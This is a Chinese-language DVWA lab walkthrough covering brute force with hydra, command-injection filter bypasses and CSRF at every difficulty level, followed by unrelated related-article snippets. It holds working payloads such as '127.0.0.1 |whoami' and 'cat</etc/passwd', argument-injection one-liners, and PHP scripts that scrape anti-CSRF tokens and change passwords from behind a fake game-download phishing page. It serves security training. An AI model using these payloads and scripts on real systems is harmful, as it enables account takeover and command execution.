dvwa:暴力破解、命令注入、csrf全难度详解

暴力破解

easy模式
hydra -L /usr/share/wordlists/SecLists-master/Usernames/top-usernames-shortlist.txt -P /usr/share/wordlists/SecLists-master/Passwords/500-worst-passwords.txt 192.168.72.1 http-get-form "/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login#:H=Cookie\: security=low; PHPSESSID=481b089a941d0aecc848227e2e90202e:Username and/or password incorrect."
​
添加登陆路径、用户名占位符、密码占位符、添加请求头、错误返回的字符串
http-get-form "/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login#:H=Cookie\: security=low; PHPSESSID=481b089a941d0aecc848227e2e90202e:Username and/or password incorrect."
​
登陆路径:/dvwa/vulnerabilities/brute/
用户名和密码占位符:username=^USER^&password=^PASS^&Login=Login#
添加请求头:H=Cookie\: security=low; PHPSESSID=481b089a941d0aecc848227e2e90202e(注意冒号转位)
添加错误返回的字符串:Username and/or password incorrect.
​
[80][http-get-form] host: 192.168.72.1   login: admin   password: password
​
medium一样能爆破出,但会睡眠2秒high模式加了一个token,但是加了token跟不加token都能爆破出来
​
hydra -L usernames.txt -P password.txt 192.168.72.1 http-get-form "/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login&user_token=564d1b908f7b4a9e975d00bc707fab3e:H=Cookie\: security=high; PHPSESSID=481b089a941d0aecc848227e2e90202e:Username and/or password incorrect."
​
hydra -L usernames.txt -P password.txt 192.168.72.1 http-get-form "/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:H=Cookie\: security=high; PHPSESSID=481b089a941d0aecc848227e2e90202e:Username and/or password incorrect."
​
hydra -L usernames.txt -P password.txt 192.168.72.1 http-get-form "/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:H=Cookie\: security=high;:Username and/or password incorrect."
impossible代码逻辑:
如果登录失败,更新数据库使得用户登录失败次数+1,如果登录失败次数超过3次,account_locked将为false,下次登陆时必须等待 15分钟才会将account_locked设置为true
但是就算等待了15分钟,代码并没有将登陆失败次数清零,所以一旦登陆失败一次,就直接锁住
​
注:impossible是post,其他难度都是get

命令注入

外部命令注入:

  • ;(分号):允许您按顺序执行多个命令。

  • &&(AND):仅当第一个命令成功(返回零退出状态)时才执行第二个命令。

  • ||(或):仅当第一个命令失败(返回非零退出状态)时才执行第二个命令。

  • &(后台):在后台执行命令,允许用户继续使用shell。

  • |(管道):获取第一个命令的输出并将其用作第二个命令的输入。

  • < (重定向) :将后者输出重定向前者输入

    这种方法甚至不需要<前面是个正常的linux命令、即使报错也会输出<后面的执行结果
payload:
127.0.0.1 & whoami
适用于linux(这种方法甚至不需要<前面是个正常的linux命令、即使报错也会输出<后面的执行结果):
127.0.0.1 < "`whoami`"
127.0.0.1 < "$(whoami)"
medium'&&' => '',';' => ''payload:
127.0.0.1 & whoami
127.0.0.1 | whoami
127.0.0.1 &;& whoami
适用于linux:
127.0.0.1 < "`whoami`"
127.0.0.1 < "$(whoami)"
high'&'  => '',';'  => '','| ' => '','-'  => '','$'  => '','('  => '',')'  => '','`'  => '','||' => '',
"| "成为了黑名单,但是"|"去掉空格还能使用
​
payload:
127.0.0.1 |whoami
impossible
通过.将ip分开,判断分离的数量是否为4,且判断这4部分是否都是数字,这两个条件成立,才会执行ping命令
命令注入其他扩展
参数注入

当您只能将参数附加到现有命令时,即可获得命令执行权。

查询参数注入的网站:Argument Injection Vectors

  • chrome

    chrome '--gpu-launcher="id>/tmp/foo"'
  • SSH

    ssh '-oProxyCommand="touch /tmp/foo"' foo@foo
  • 查询语言

    psql -o'|id>/tmp/foo'
字符串内部命令注入
  • 反引号

  • $()

  •  

    payload1:

    echo "`ip a`" echo "$(ip a)" ​ payload2: 其他命令< "`whoami`"
空格替换
${IFS}替换
cat${IFS}flag.txt
​
重定向符号替换
cat</etc/passwd
127.0.0.1<"$(whoami)"

csrf

基本思路:构造一个html钓鱼网页,钓鱼网页上有访问dvwa网站修改密码的链接,但是我发现一个问题,就是如果钓鱼网页上直接就是:http://192.168.72.1/dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#的话,我们只能操控get请求的数据,不能操控header的数据和post提交的数据,而且最大的问题在于被攻击的人点击这个链接,请求头里有:H=Cookie\: security=impossible; PHPSESSID=481b089a941d0aecc848227e2e90202e,也就是说默认就是困难难度而且网页get请求不能操控header修改不了难度,所以需要使用vps写一个php服务构造恶意请求并发送

easy

前端钓鱼代码

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title>
</head>
<body><h3>下载游戏</h3><a href="http://192.168.72.1/dvwa/csrf.php">赛博朋克2077</a>
</body>
</html>
 

php伪造请求(csrf.php)

<?php
// 设置要返回的 HTML 内容
$htmlContent = '
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Custom Page</title>
</head>
<body>
<h1>赛博朋克下载</h1>
<p>赛博朋克下载成功</p>
</body>
</html>
';
​
// 设置响应头,告诉浏览器返回的内容是 HTML
header('Content-Type: text/html');
​
// 输出 HTML 内容
echo $htmlContent;
​
$url = 'http://192.168.72.1/dvwa/vulnerabilities/csrf/'; // 要发送请求的 URL
​
// GET 数据
$get_data = array('password_new' => '6666','password_conf' => '6666','Change' => 'Change'
);
​
// 自定义请求头
$headers = array('Cookie: PHPSESSID=a0u9pif21dqn9hq1115geuujnk; security=easy',
);
​
// 初始化 cURL
$ch = curl_init();
​
// 设置 URL 和其他 cURL 选项
curl_setopt($ch, CURLOPT_URL, $url . '?' . http_build_query($get_data)); // 将 GET 数据添加到 URL
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); // 设置自定义请求头
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
​
// 执行 cURL 请求
$response = curl_exec($ch);
​
// 检查是否有错误发生
if($response === false) {echo 'cURL error: ' . curl_error($ch);
} else {// 打印响应echo $response;
}
​
// 关闭 cURL 资源
curl_close($ch);
?>

点击后:

同时修改密码成功

medium

需要简单配置:

  • phpstudy给网站个域名,如下图

  • linux攻击机器添加host头

vim /etc/hosts
192.168.72.1    www.oswe.com

为什么需要以上配置:

因为后端代码的判断
变量$_SERVER[ 'HTTP_REFERER' ]是否有$_SERVER[ 'SERVER_NAME' ],如果有,则说明当前修改密码的请求是从本网站跳转过来的,而不是从钓鱼网站跳转过来的,
而$_SERVER[ 'SERVER_NAME' ]这个变量实际上就是你的域名,为了能使我们的linux能解析到域名所以添加hosts头

源码的判断:

if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ){# 正常
}
else{# 错误
}
​
其中
$_SERVER[ 'HTTP_REFERER' ] = 请求头里的referer  
$_SERVER[ 'SERVER_NAME' ] = 域名www.oswe.com
​
如果请求头的referer中存在域名www.oswe.com,执行正常功能

篡改请求头referer

$headers = array('Cookie: PHPSESSID=a0u9pif21dqn9hq1115geuujnk; security=medium','Referer: http://www.oswe.com/dvwa/vulnerabilities/csrf/'
);

前端钓鱼代码

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title>
</head>
<body><h3>下载游戏</h3><a href="http://192.168.72.1/dvwa/csrf.php">赛博朋克2077</a>
</body>
</html>

后端php伪造恶意请求代码(csrf.php)

<?php
// 设置要返回的 HTML 内容
$htmlContent = '
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Custom Page</title>
</head>
<body>
<h1>赛博朋克下载</h1>
<p>赛博朋克下载成功</p>
</body>
</html>
';
​
// 设置响应头,告诉浏览器返回的内容是 HTML
header('Content-Type: text/html');
​
// 输出 HTML 内容
echo $htmlContent;
​
$url = 'http://192.168.72.1/dvwa/vulnerabilities/csrf/'; // 要发送请求的 URL
​
// GET 数据
$get_data = array('password_new' => '6666','password_conf' => '6666','Change' => 'Change'
);
​
// 自定义请求头
$headers = array('Cookie: PHPSESSID=a0u9pif21dqn9hq1115geuujnk; security=medium','Referer: http://www.oswe.com/dvwa/vulnerabilities/csrf/'
);
​
// 初始化 cURL
$ch = curl_init();
​
// 设置 URL 和其他 cURL 选项
curl_setopt($ch, CURLOPT_URL, $url . '?' . http_build_query($get_data)); // 将 GET 数据添加到 URL
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); // 设置自定义请求头
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
​
// 执行 cURL 请求
$response = curl_exec($ch);
​
// 检查是否有错误发生
if($response === false) {echo 'cURL error: ' . curl_error($ch);
} else {// 打印响应echo $response;
}
​
// 关闭 cURL 资源
curl_close($ch);
?>
hard
array_key_exists 函数
— 检查数组里是否有指定的键名或索引
数组里有键 key 时,array_key_exists() 返回 true。 key 可以是任何能作为数组索引的值。
主要检查提交的数据是否完整:
if (array_key_exists("user_token", $_REQUEST) &&array_key_exists("password_new", $_REQUEST) &&array_key_exists("password_conf", $_REQUEST) &&array_key_exists("Change", $_REQUEST))
​
checkToken 函数
检测请求包的token和用户的会话token是否一致:
if ($_SESSION[ 'session_token' ] === $_REQUEST["user_token"])
关于token
这里的token是一开始请求固定在html页面的表单里的,每一次的请求都会更新一次token的值,我们需要先劫持token然后再伪造请求,固定在表单里的token如下:
​
<form action="#" method="GET">New password:<br /><input type="password" AUTOCOMPLETE="off" name="password_new"><br />Confirm new password:<br /><input type="password" AUTOCOMPLETE="off" name="password_conf"><br /><br /><input type="submit" value="Change" name="Change"><input type='hidden' name='user_token' value='8a5cd4cae342ac86000a7abb1d65a5fa' />
</form>

思路:

  • 构造恶意链接,链接向dvwa的high模式下的csrf页面请求两次

    • 第一次请求是为了获取到固定在表单里的token

    • 第二次请求是为了使用这个token来修改密码

前端钓鱼代码

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title>
</head>
<body><h3>下载游戏</h3><a href="http://192.168.72.1/dvwa/csrf.php">赛博朋克2077</a><a href="http://192.168.72.1/dvwa/csrf_token.php">巫师3</a>
</body>
</html>
​
其中csrf.php是之前的没有token模式的恶意php请求
csrf_token.php是我们请求两次的恶意php请求

php恶意请求代码csrf_token.php

<?php
// 设置要返回的 HTML 内容
$htmlContent = '
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Custom Page</title>
</head>
<body>
<h1>赛博朋克下载</h1>
<p>赛博朋克下载成功</p>
</body>
</html>
';
// 初始化 cURL
$ch = curl_init();
​
$url = 'http://192.168.72.1/dvwa/vulnerabilities/csrf/';
​
$headers = array('Cookie: PHPSESSID=a0u9pif21dqn9hq1115geuujnk; security=high','Referer: http://www.oswe.com/dvwa/vulnerabilities/csrf/'
);
​
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); // 设置自定义请求头
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
​
// 执行 cURL 请求并将结果保存到 $html 变量中
$html = curl_exec($ch);
​
​
// 创建一个 DOMDocument 对象并载入 HTML 内容
$dom = new DOMDocument();
@$dom->loadHTML($html);
​
// 获取所有的 input 标签
$inputElements = $dom->getElementsByTagName('input');
​
$userTokenValue = null;
​
// 遍历所有的 input 标签,查找 name 为 user_token 的元素
foreach ($inputElements as $element) {if ($element->getAttribute('name') === 'user_token') {// 输出 user_token 的值$userTokenValue = $element->getAttribute('value');break; // 找到后跳出循环}
}
if ($userTokenValue) {echo "使用了如下token修改密码:". $userTokenValue;
} else {echo "user_token not found";
}
​
​
// 设置响应头,告诉浏览器返回的内容是 HTML
header('Content-Type: text/html');
​
// 输出 HTML 内容
echo $htmlContent;
​
// GET 数据
$get_data = array('password_new' => '8888','password_conf' => '8888','Change' => 'Change','user_token' => $userTokenValue
);
​
​
// 设置 URL 和其他 cURL 选项
curl_setopt($ch, CURLOPT_URL, $url . '?' . http_build_query($get_data)); // 将 GET 数据添加到 URL
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); // 设置自定义请求头
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
​
// 执行 cURL 请求
$response = curl_exec($ch);
​
// 检查是否有错误发生
// if($response === false) {
//     echo 'cURL error: ' . curl_error($ch);
// } else {
//     // 打印响应
//     echo $response;
// }
​
// 关闭 cURL 资源
curl_close($ch);
?>

这里点的是巫师3,但显示下载成功的是赛博朋克,是因为这个返回页面我懒得该,直接返回的字符串

impossible

修改密码前,输入当前密码来身份验证,导致csrf请求伪造无法获取用户凭据

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/445358.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

矿井人员数据集,用于目标检测,深度学习,采用txt打标签,即yolo格式,也有原文件可以自己转换。总共3500张图片的数据量,划分给训练集2446张,

矿井人员数据集&#xff0c;用于目标检测&#xff0c;深度学习&#xff0c;采用txt打标签&#xff0c;即yolo格式&#xff0c;也有原文件可以自己转换。总共3500张图片的数据量&#xff0c;划分给训练集2446张&#xff1a; ### 矿井人员数据集用于目标检测的详细说明 #### 1. …

Flutter包管理(三)

1、作用 在APP的实际开发过程中往往会依赖很多包&#xff0c;而这些包之间存在着交叉依赖、版本依赖&#xff0c;由开发者自己管理手动管理会非常麻烦&#xff0c;每种开发生态或编程官方会提供一些包的管理工具&#xff0c;在Flutter中我们在pubspec.yaml文件中来管理第三方依…

DDoS攻击快速增长,如何在抗ddos防护中获得主动?

当下DDoS攻击规模不断突破上限。前段时间&#xff0c;中国首款3A《黑神话&#xff1a;悟空》也在一夜之内遭受到28万次攻击DDoS攻击&#xff0c;严重影响到全球玩家的游戏体验。Gcore发布的数据也显示了 DDoS攻击令人担忧的趋势&#xff0c;尤其是峰值攻击已增加到了令人震惊的…

点评项目-4-隐藏敏感信息、使用 redis 优化登录业务

一、隐藏敏感信息 之前我们对 /user/me 路径&#xff0c;直接返回了登录的所有用户信息&#xff0c;其中的 passward 等敏感信息也会被返回到前端&#xff0c;这是很危险的&#xff0c;故我们需要选择性的返回用户信息&#xff0c;隐藏敏感用户信息 我们可以创建一个 UserDTO…

【Qt】详细Qt基础 (包括自定义控件)

目录 QT 概述创建项目项目文件&#xff08;. pro&#xff09;main.cppmainwindow.uimainwindow.hmainwindow.cpp 窗口类QWidget 窗口显示QDialog 窗口 QPushButton创建显示 对象树基本概念功能 坐标体系控件Item WidgetsQListWidgetQTreeWidgetQTableWidget 自定义控件 QT 概述…

一键安装与配置Stable Diffusion,轻松实现AI绘画

随着技术的迭代&#xff0c;目前 Stable Diffusion 已经能够生成非常艺术化的图片了&#xff0c;完全有赶超人类的架势&#xff0c;已经有不少工作被这类服务替代&#xff0c;比如制作一个 logo 图片&#xff0c;画一张虚拟老婆照片&#xff0c;画质堪比相机。 最新 Stable Di…

当今SNARKs全景

1. 引言 前序博客有&#xff1a; ZKP历史总览SNARK原理示例SNARK性能及安全——Prover篇SNARK性能及安全——Verifier篇Transparent 且 Post-quantum zkSNARKsSNARK DesignRollup项目的SNARK景观 SNARKs因&#xff1a; proof size证明时长验证时长密码学信任假设是否需要tr…

前端开发设计模式——装饰器模式

目录 一、装饰器模式的定义和特点 1.定义 2.特点 二、装饰器模式的实现方式 1.在原生JS中实现&#xff08;以类的形式为例&#xff09; 2、在Vue中实现&#xff08;以指令和混入为例&#xff09; 2.1、指令方式实现装饰功能 2.2、混入方式实现装饰功能 三、装饰器模式的…

基于方块编码的图像压缩matlab仿真,带GUI界面

目录 1.算法运行效果图预览 2.算法运行软件版本 3.部分核心程序 4.算法理论概述 4.1 编码单元的表示 4.2编码单元的编码 5.算法完整程序工程 1.算法运行效果图预览 (完整程序运行后无水印) 下图是随着方块大小的变化&#xff0c;图像的压缩率以及对应的图像质量指标PSN…

PDF处理技巧:Windows电脑如何选择合适的 PDF 编辑器

您可以阅读本文以了解用于在 PC 上编辑 PDF 的顶级免费软件&#xff0c;而无需花费任何费用即可轻松进行快速编辑、拆分、合并、注释、转换和共享您的 PDF。 PDF 或可移植文档文件是由 Adobe 创建的一种多功能文件格式。它可以帮助您轻松可靠地交换文档&#xff0c;无论相关方…

TCN-Transformer时间序列预测(多输入单预测)——基于Pytorch框架

1 数据集介绍 我们使用的数据集包含以下几个重要的属性&#xff1a; date&#xff08;日期&#xff09; open&#xff08;开盘价&#xff09; high&#xff08;最高价&#xff09; low&#xff08;最低价&#xff09; close&#xff08;收盘价&#xff09; pre_close&…

IDE启动失败

报错&#xff1a;Cannot connect to already running IDE instance. Exception: Process 24,264 is still running 翻译&#xff1a;无法连接到已运行的IDE实例。异常:进程24,264仍在运行 打开任务管理器&#xff0c;找到PID为24264的CPU线程&#xff0c;强行结束即可。 【Ct…

EXCEL_光标百分比

Public Sub InitCells()Dim iSheet As LongFor iSheet Sheets.Count To 1 Step -1Sheets(iSheet).ActivateActiveWindow.Zoom 85ActiveWindow.ScrollRow 1ActiveWindow.ScrollColumn 1Sheets(iSheet).Range("A1").ActivateNext iSheetEnd Sub对日项目中的文档满天…

CSS 布局——清除浮动 (二)

目录 1. 清除浮动 2. 清除浮动本质 3. 清除浮动 4. 清除浮动方法 4.1 额外标签法 4.1.1 总结 4.2 父级添加 overflow 4.3 after 伪元素法 4.4 双伪元素清除浮动 5 总结 1. 清除浮动 这是上面的源代码&#xff1a; <!DOCTYPE html> <html lang"en"&…

【FPGA开发】Modelsim如何给信号分组

前面已经发布过了一篇关于 Modelsim 的入门使用教程&#xff0c;针对的基本是只有一个源文件加一个仿真tb文件的情况&#xff0c;而实际的工程应用中&#xff0c;往往是顶层加多个底层的源文件结构&#xff0c;如果不对信号进行一定的分组&#xff0c;就会显得杂乱不堪&#xf…

第33次CCF计算机软件能力认证-第4题十滴水

题干&#xff1a; 十滴水是一个非常经典的小游戏。 小 C C C 正在玩一个一维版本的十滴水游戏。 我们通过一个例子描述游戏的基本规则。 游戏在一个 1 c 1c 1c 的网格上进行&#xff0c;格子用整数 x ( 1 ≤ x ≤ c ) x(1≤x≤c) x(1≤x≤c) 编号&#xff0c;编号从左往…

Python学习-函数

函数 文章目录 函数定义与调用参数传递内存分析返回值参数定义默认值参数个数可变的参数关键字参数 变量的作用域 匿名函数基本语法示例lambda与排序高阶函数map函数reduce函数filter函数 多关键字排序 定义与调用 函数可以嵌套用 先定义后调用 def calc(a,b):cabreturn cre…

一台电脑轻松接入CANFD总线_来可CNA板卡介绍

在工业控制领域&#xff0c;常常使用的总线技术有CAN(FD)、RS-232、RS-485、Modbus、Profibus、Profinet、EtherCAT等。RS-485以其长距离通信能力著称&#xff0c;Modbus广泛应用于PLC等设备&#xff0c;EtherCAT则以其低延迟和高实时性在自动化系统中备受青睐。 其中&#xff…

Java虚拟机(JVM)介绍

**Java虚拟机&#xff08;JVM&#xff09;**是Java平台的核心组件&#xff0c;它提供了一个运行时环境&#xff0c;使得Java程序可以在不同的操作系统和硬件平台上运行而无需修改。 JVM的架构 JVM主要由以下几个部分组成&#xff1a; 类加载器&#xff08;Class Loader&#xf…

对后端返回的日期属性进行格式化(扩展 Spring MVC 的消息转换器)

格式化之前 格式化之后&#xff1a; 解决方式 方式一 在属性中加上注解&#xff0c;对日期进行格式化 JsonFormat(pattern "yyyy-MM-dd HH:mm:ss")private LocalDateTime createTime;//JsonFormat(pattern &quo…